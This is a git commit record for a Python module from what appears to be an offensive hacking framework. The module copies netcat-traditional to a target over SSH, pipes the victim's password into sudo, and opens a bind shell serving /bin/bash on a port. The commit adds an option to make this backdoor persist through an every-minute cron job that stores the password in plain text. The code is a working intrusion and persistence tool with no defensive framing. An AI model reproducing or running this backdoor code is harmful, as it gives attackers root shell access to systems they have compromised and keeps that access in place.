<commit_before>from module import *
import os
import cmd
from colorama import *
from definitions import *

class Netcat_Traditional(Module):
    prompt = Fore.RED + "(nct) " + Fore.BLUE + ">> " + Fore.RESET 
    
    def __init__(self, target, core):
        cmd.Cmd.__init__(self)
        self.intro = GOOD + "Using netcat traditional module"
        self.target = target
        self.core = core
        self.options = {
                "port"   : Option("port", 53926, "port to connect to", True),
                }
    
    def check_valid(self):
        return True
    
    def get_value(self, name):
        if name in self.options:
            return self.options[name].value
        else:
            return None


    def do_exploit(self, args):
        port = self.get_value("port")
        print(INFO + "Shipping netcat-traditional package.")
        self.target.scpFiles(self, '/bin/nc.traditional', False)
        print(GOOD + "Initializing backdoor on port %s..." % port)
        self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S nohup ./nc.traditional -l -p %s -e /bin/bash" % port)
        print(GOOD + "Backdoor attempted. Use nc " + self.target.hostname + " %s." % port)

<commit_msg>Added cronjob support for netcat-traditional<commit_after>from module import *
import os
import cmd
from colorama import *
from definitions import *

class Netcat_Traditional(Module):
    prompt = Fore.RED + "(nct) " + Fore.BLUE + ">> " + Fore.RESET 
    
    def __init__(self, target, core):
        cmd.Cmd.__init__(self)
        self.intro = GOOD + "Using netcat-traditional module"
        self.target = target
        self.core = core
        self.options = {
                "port"   : Option("port", 53926, "port to connect to", True),
                }
    
    def check_valid(self):
        return True
    
    def get_value(self, name):
        if name in self.options:
            return self.options[name].value
        else:
            return None


    def do_exploit(self, args):
        cron = (raw_input(" + Press y to start backdoor as a cronjob (recommended): ") == 'y')
	port = self.get_value("port")
        print(INFO + "Shipping netcat-traditional package.")
	self.target.scpFiles(self, '/bin/nc.traditional', False)
	print(GOOD + "Initializing backdoor on port %s..." % port)
	if cron:
	    self.target.ssh.exec_command("crontab -l > mycron")
	    str = ("* * * * * echo \\\""+ self.target.pword + "\\\" | sudo -S nohup ./nc.traditional -l -p %s -e /bin/bash" % port)
	    #print ("echo \"" + str + "\" >> mycron && crontab mycron && rm mycron")
	    self.target.ssh.exec_command("echo \"" + str + "\" >> mycron && crontab mycron && rm mycron")
	else:
            self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S nohup ./nc.traditional -l -p %s -e /bin/bash" % port)
        print(GOOD + "Backdoor attempted. Use nc " + self.target.hostname + " %s." % port)


{'fraction_non_alphanumeric': 0.13910671667234914, 'fraction_numerical': 0.0034094783498124785, 'mean_word_length': 2.2855543113101904, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 12, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '2933015', 'n_tokens_mistral': 988, 'n_tokens_neox': 918, 'n_words': 247}